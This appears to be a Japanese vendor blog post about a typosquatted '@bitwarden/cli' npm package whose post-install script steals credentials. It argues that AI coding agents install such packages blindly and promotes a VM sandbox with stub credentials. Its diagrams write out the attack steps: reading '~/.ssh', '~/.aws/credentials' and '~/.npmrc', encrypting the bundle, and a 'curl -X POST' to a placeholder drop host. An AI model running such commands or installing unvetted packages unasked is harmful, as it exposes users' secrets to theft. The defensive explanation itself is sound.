すべての投稿に戻る
公開日 · 著者 Renaud Deraison

あなたのコーディングエージェントは偽の Bitwarden をインストールしました

4 月 22 日、誰かが @bitwarden/[email protected] という名前の悪意ある npm パッケージをアップロードしました。これはタイポスクワットで、実行したマシンから SSH 鍵、AWS/Azure/GCP のクレデンシャル、GitHub トークン、npm 公開トークン、kubeconfig を一掃します。このパッケージが餌にしようとしているのは、まさに今どきのコーディングエージェントが何も考えずにやっていること――npm が返してきたものを片っ端からインストールすることです。本記事では、その攻撃チェーンの姿と、エージェントをラップトップではなく Bromure の VM の中で動かしたときに何が変わるかを示します。

先週、誰かが @bitwarden/[email protected] という名前の npm パッケージを アップロードしました。本物の Bitwarden CLI は無事です。偽物のほうは タイポスクワットで、post-install スクリプトが開発者の SSH 鍵、AWS クレデンシャル、npm トークン、kubeconfig を読み取り、誰かが借りた IP 空間のサーバーへその束を POST していました。この話には小さな ジョークが埋まっています ――偽のパスワードマネージャーの本当の 仕事がクレデンシャル泥棒だった、というジョークです。ただ、より 実用的な観察は、2026 年に npm install @bitwarden/cli と打つ可能性が 最も高いのは、もはや人間の開発者ではないということです。それは、 パッケージマネージャーが返してきたものを何でもインストールする コーディングエージェントです。

さて。ニュースを 3 文でまとめます。

2026 年 4 月 22 日、誰かが npm に @bitwarden/[email protected] という 名前でパッケージを公開しました。Unit 42 のレポート によれば、このパッケージは TeamPCP と名乗るグループ ―― Datadog が 3 週間 前に LiteLLM の PyPI 侵害と結びつけた のと同じ連中 ―― に帰属するタイポスクワットで、その post-install スクリプトはホストを走査して AWS、Azure、GCP のクレデンシャル、npm 公開トークン、GitHub トークン、SSH 鍵、kubeconfig を集め、まとめて 攻撃者のインフラへ送り出していました。OX Security は同じ事件をより 広い文脈に置き直して、これを Shai-Hulud の三度目の到来 と呼んでいます ―― 2025 年 9 月以来、何千もの npm パッケージを 食い荒らし、いっこうに止まる気配のない、自己複製型サプライチェーン ワームの最新エントリです。

これから何をすべきかを話す前に片付けておきたいジョークは、こうです。 偽の Bitwarden CLI は、ある意味で、Bitwarden CLI がやるべきことを ちょうどやっています。 その仕事はたくさんのクレデンシャルを把握 することです。問題のクレデンシャルが、ユーザーが申し込んだものでは なかった、というだけの話です。とにかく、攻撃そのものはメカニカルには 退屈です。面白いのは ―― そしてこの事件を 1 本の記事に値させて いるのは ―― 誰がこれをインストールするのか、です。

もう誰も打たなくなったパッケージ。

本物の Bitwarden CLI が欲しい人間の開発者は、たいてい bitwarden.com/help/cli に行き、 ドキュメントを読んで、TLS 証明書チェーンが見覚えのあるベンダーに つながっているページからインストールコマンドをコピーして打ちます。 打ち間違えることはあるでしょう ―― それこそタイポスクワットの 前提です ―― が、そのためには急いでいて、暗くて、運も悪くなければ なりません。

コーディングエージェントは急いでも、暗くても、運が悪くもありません。 彼らはもっと悪いものです ―― 機械の速度で、自信たっぷりに間違えます。 あなたが Claude Code に「Bitwarden をつないで、デプロイ スクリプトが API キーを vault から取れるようにして」と頼むと、 モデルは ――『npm install -g @bitwarden/cli と書かれた 100 万本の ブログを読んでいる』モデルは ―― npm install -g @bitwarden/cli と 打ちます。パッケージマネージャーは @bitwarden/cli という名前の あるパッケージを返してきます。publisher 欄を確認する人間はループの 中にいません。bitwarden.com の証明書チェーンを検査するものも ありません ―― 証明書チェーンは npm そのものだからです。実際、 エージェントが、パッケージに同梱された post-install スクリプトを 実行しない理由は何もありません。それが npm パッケージのやることだから です。

開発者ラップトップ ― エージェントが動かすあらゆるものに対してホストのファイルシステムが見えているコーディングエージェント$ claude> bitwarden cli をつないでtool: bashnpm i -g @bitwarden/clinpm レジストリ@bitwarden/cli 2026.4.0 ← typosquat publisher: not-bitwarden scripts.postinstall: yespost-install がホストを読む~/.ssh/id_ed25519~/.aws/credentials~/.kube/config~/.npmrc // _authToken$GH_TOKEN~/.config/gcloud/~/.azure/tar | aes-256 | rsa-4096POST https://…/dropすべて本物、すべて読める攻撃者入手済み全部exfilエージェントが気づかなかったこと@bitwarden/cli という名前のパッケージは、仕様上、ユーザーのホームディレクトリを読み、URL を呼び出してよい。このチェーンに npm や Node の脆弱性は一切ない。文書化された契約のとおりに動いているだけだ。
エージェントがタイピングする普通の開発者ラップトップでの攻撃チェーン。エージェントが `@bitwarden/cli` を要求する。レジストリはタイポスクワットを返す。post-install スクリプトは ~/.aws、~/.ssh、~/.npmrc、$GH_TOKEN、~/.kube/config を読む ―― つまり、エージェントが役に立つために必要としていたものすべて ―― そしてそれを攻撃者のインフラへ POST する。ここに変わったところはない。これは npm の post-install フックの仕様どおりの振る舞いを、人間がそもそも検査するつもりのなかったパッケージに適用しただけのものだ。

この絵で気づくべきことは、どの部分も「バグ」ではないということです。 npm パッケージは postinstall スクリプトを同梱できます。これらの スクリプトは npm を呼び出したユーザーと同じ権限で動きます。 ユーザーとして動くスクリプトは、ユーザーが読めるものすべてを 読めます。それには ―― そしてエージェントがタイピングしているとき に問題になるのは、まさにこの部分です ―― ~/.ssh/id_ed25519~/.aws/credentials他のパッケージを再公開できる ~/.npmrc の npm 公開トークン、シェルに座っている GitHub トークン、本番に対して kubectl exec できる kubeconfig が 含まれます。あなたはそれをエージェントのために置いたのではあり ません。自分のために置いたのです。エージェントは今、あなたの 手を使っています。

ここで、もし 2018 年に同じ問題を売り込んでいたら、私は今ごろ 「だからサンドボックスを使うべきだ」と言うでしょう。そしてあなたは 当然「サンドボックスなら聞いたことがある」と言うでしょう。そして 私たちは二人でコーヒーを取りに行くでしょう。私が 2026 年にこの記事を 書いている理由は、@bitwarden/cli シナリオを実際に非イベント化する サンドボックスの形が、過去 10 年間提示されてきたものとは少し違う からです。そしてその違いこそが要点です。

本当の修正の形。

これを Mac で動かす代わりに、コーディングエージェントが、あなたが 指定したプロジェクトフォルダだけを共有する Linux VM の中で動くと 仮定します。その VM の ~/.aws/credentials が、構文的には正しいが 中身は本物ではないスタブのファイルだと仮定します。~/.npmrc$GH_TOKEN、その他についても同様だとします。VM には ~/.ssh/id_ed25519 が一切なく、ホスト側の境界の向こう、macOS の キーチェーンに鍵が置かれた、転送された ssh-agent ソケットだけが あると仮定します。最後に、ホストには小さなプロキシがあり、回線上の これらのスタブトークンを認識して本物に置き換えるが、それを ホワイトリストに載ったエンドポイントだけ、しかもリクエストが実際に ハイパーバイザを離れる瞬間にだけ行うと仮定します。

ここで、@bitwarden/cli の post-install スクリプトをその VM の中で 動かしてみてください。スクリプトは前と全く同じことをします。 ~/.aws/credentials を読みます。~/.npmrc を読みます。 $GH_TOKEN を読みます。ssh-agent ソケットファイルの中身まで 読みますが、これは Unix ドメインソケットなので 0 バイト長です。 全部をまとめ、ハードコードされた RSA-4096 鍵で暗号化し、ドロップ サーバーへ POST します。

ドロップサーバーは、暗号学的に完璧に正しい、プレースホルダーの 束を受け取ります。

BROMURE VM (Linux ゲスト) ― post-install スクリプトに見えるものコーディングエージェント$ claude> bitwarden をつないでtool: bashnpm i -g @bw/cli↳ postinstall 実行FS & ENV ― スタブのみ~/.aws/credentialsaws_secret = stub-aws-…~/.npmrc_authToken = stub-npm-…$GH_TOKENghp_stub_…~/.ssh/id_ed25519No such file or directory~/.ssh/agent.socksocket → ホストのキーチェーンEXFIL の試みtar -cf bundle …openssl rsautl -encryptcurl -X POST drop.bad/upayload: スタブ 暗号化されているが、スタブハイパーバイザ ― クレデンシャル仲介プロキシmacOS ホスト ― 本物のシークレット、境界を越えたことはない本物のクレデンシャル金庫macOS キーチェーンid_ed25519 (秘密鍵)~/.aws/credentialsAKIA… (本物)~/.config/gh/hosts.ymlghp_real…~/.kube/configprod ベアラー (本物)~/.npmrcnpm_… (本物の publish)PROXY ― 出口でスタブを本物に置き換えるgit push → api.github.com Authorization: ghp_stub_… ⇒ ghp_real_…aws s3 ls → *.amazonaws.com AKIA-stub ⇒ AKIA-real (sigv4 再署名)drop.bad/u: ホワイトリスト外 ⇒ スタブのまま出ていくスタブが出ていく、プロキシのマッチなしexfil リクエストは出てよい。中に役に立つものが何もないだけだ。
同じチェーンを Bromure VM の中で。エージェントは同じインストールを走らせる。post-install スクリプトは同じスイープを行う。~/.aws、~/.npmrc、$GH_TOKEN で見つけるクレデンシャルは、VM が最初から積んでくる予定だったスタブだ。ディスクに SSH 鍵がないのは、本当にディスクに SSH 鍵がないからだ。代わりに転送された ssh-agent ソケットがあり、本物の鍵素材はハイパーバイザの向こう側、macOS のキーチェーンに住んでいる。exfil の POST は出ていく。暗号化されているが、中身はプレースホルダーだ。

絵の中で立ち止まる価値のある細部がいくつかあります。それがこの設計と コンテナの違いだからです。

ひとつ目は、プロキシがアウトバウンドで、ホワイトリストで、 回線上にあるということです。VM の中のサイドカーではありません。 VM が本物の GitHub トークンを到達可能な形で持つことは一切ありません。 ダンプできる環境変数も、読めるファイルも、スクレイピングできる メモリページもありません。エージェントが git push を実行すると、 リクエストは Authorization ヘッダにスタブを乗せて VM を出ます。 ホスト側のプロキシがスタブを認識し、あなたの本物の ghp_… を差し 込み、リクエストを転送し、レスポンスを返します。マルウェアが curl -X POST drop.bad/u を実行すると、プロキシは drop.bad を ホワイトリストで照合し、見つけられず、リクエストを破棄するか ―― VM のエグレスポリシー次第では ―― そのまま、マルウェアがつかんだ スタブとともに転送します。いずれにせよ、本物のクレデンシャルは、 マルウェアが見ていた唯一の瞬間に、境界の反対側にいます。

ふたつ目は、SSH 鍵がいかなる意味でも VM の中にないということです。 ssh-agent は macOS で動きます。エージェントの秘密鍵は macOS の キーチェーンに住んでいます。Bromure はエージェントのソケットを ―― OpenSSH が 90 年代からやってきたのと同じやり方で、同じ理由で ―― VM の中に転送します。VM の中では sshgit もいつもどおり 動きます。基礎となる署名操作はホスト側で起き、VM の中で動いている マルウェアからは見えません。cat ~/.ssh/id_ed25519 をするパッケージ には No such file or directory が返り、それは家に帰ります。

なぜコンテナではここまで来られないのか。

聞いてください。この時点での反論 ―― 正当なものです ―― は「OK、でも うちは Docker を 10 年使っていて、エージェントをコンテナの中で動かす こともできる、それで十分じゃないの?」というものです。それで十分 だったでしょう。退屈な理由が 2 つあるのを除けば。

ひとつ目は、コンテナをコーディングエージェントが実際にやること ―― git pushgh pr createaws s3 cpnpm publishkubectl exec ―― に役立たせるためには、最終的に ~/.ssh~/.aws/credentials~/.npmrc、GitHub トークンをコンテナの 中にマウントすることになる、ということです。その時点で、 post-install スクリプトは cat ~/.ssh/id_ed25519 を実行して本物の ファイルを手に入れます。コンテナにはクレデンシャルブローカーは ありません。あるのはバインドマウントだけです。バインドマウントは、 まさにマルウェアが探していた柔らかいお腹です。

ふたつ目は、macOS では、コンテナはどのみち隠れた Linux VM の中で 動いているということです。Docker Desktop は VM を同梱しています。 OrbStack もそうです。Colima もそうです。あなたはすでに VM の コスト ―― ディスク、メモリ、起動時間 ―― を払っています。2026 年の macOS でコンテナを使う論拠は「軽いから」ではありません。「使い慣れて いるから」です。Bromure は中間層を切り取ります。VM はひとつ。 それは目に見え、設定でき、あなたのものです。クレデンシャル ブローカーと ssh-agent 転送は、コンテナモデルが物語をもたなかった 部分です。

あなたが読むつもりのなかった壁を、トレースは捕まえる。

エージェントが誰も頼んでいない何かをインストールするとき、もう ひとつ言うべきことがあります。たいていの場合、誰も気づいていない、 ということです。エージェントが npm install を実行し、エージェントは 壁のような出力を受け取り、エージェントは「Bitwarden CLI を インストールして設定しました」とチャットで一文に要約し、あなたは それをスクロールして通り過ぎます。post-install スクリプトはその壁の 真ん中で動きました。あなたは壁を読んでいませんでした。誰も壁を 読みません。

Bromure のセッショントレーサーはその壁を捕まえます ―― すべての プロンプト、すべてのツール呼び出し、すべてのシェルコマンド、 すべてのファイル書き込み、すべての終了コード ―― そしてセッションが 終わったあとに、それを遡ってスクロールできるようにします。 「今日、エージェントが走らせた npm install を全部見つけて」は grep です。「エージェントはプロジェクトフォルダの外に書き込む ツールを走らせたか?」も grep です。次の @bitwarden/[email protected] が現れたときに ―― 必ず現れます ―― トレースは、どのセッションがそれに触れたか、その時どのプロジェクト フォルダがマウントされていたかを教えてくれます。記憶や、断片的な スクロールバックから再構成する必要はありません。セッションそれ自体 が監査ログです。

これが捕まえること

Bromure VM の中で @bitwarden/cli (あるいは litellmaxios、次のもの) をインストールするコーディングエージェントは、 クレデンシャルを探しに行ったとき、空の SSH ディレクトリと スタブだけのキーリングを見つけます。post-install スクリプトは 動きます。exfil POST は出ていきます。バンドルはプレースホルダー です。被害半径は VM です。

リセットが非イベントに変えるもの

マルウェアがクレデンシャル盗難を超えて何かをした場合 ―― crontab への永続化、汚染された ~/.bashrc、ゲスト内での launchd 相当物 ―― そのどれも次の bromure reset を 生き延びません。永続化を見つける必要はありません。捨てる だけです。3 秒、新品のカーネル、コーディング再開。

これが捕まえないこと

あなたがホワイトリストに入れた本物のバックエンドを呼ぶ パッケージは ―― たとえばあなたの本物の GitHub トークンを 使ってあなた自身のリポジトリを削除するパッケージは ―― 回線上で本物のトークンを受け取ります。設計どおりです。 git push がそういう仕組みだからです。防御は小さなエグレス ホワイトリストとセッショントレースであって、全知ではあり ません。プロジェクトフォルダ内のダメージは、依然として プロジェクトフォルダ内に降りかかります。

人間がまだ要るもの

Bromure には、コーディングエージェントが悪いコードを コミットさせられるのを止めるものはありません。境界はあなたの マシン上のクレデンシャルを守ります。差分はレビューしません。 差分を読みましょう。トレースは、どの差分を読むべきかを知る のを楽にします。

最後にひとつ。

この話の別バージョンでは、教訓は「依存関係を監査せよ」になります。 さらに別のバージョンでは、教訓は「npm を使うのをやめよ」になります。 両方のバージョンが存在し、両方とも部分的には正しく、そしてどちらも 今四半期にあなたのチームでは起きません。

今四半期に実際にあなたのチームで起きるのは、エージェントが 本来インストールすべきでなかったものをインストールするということです。 エージェントはたくさんのものをインストールし、そのロングテールの どこかに、先週水曜日に TeamPCP やら Shai-Hulud やら、次のグループが 名乗るそれが何であれ、自称○○の誰かがアップロードしたものが あるからです。問いはただひとつです ―― それが起きたとき、 post-install スクリプトはシークレットを見つけるのか、それとも壁を 見つけるのか。

Bromure Agentic Coding はその壁です。無料で、 オープンソースで、本日リリース。ボールはあなた側です。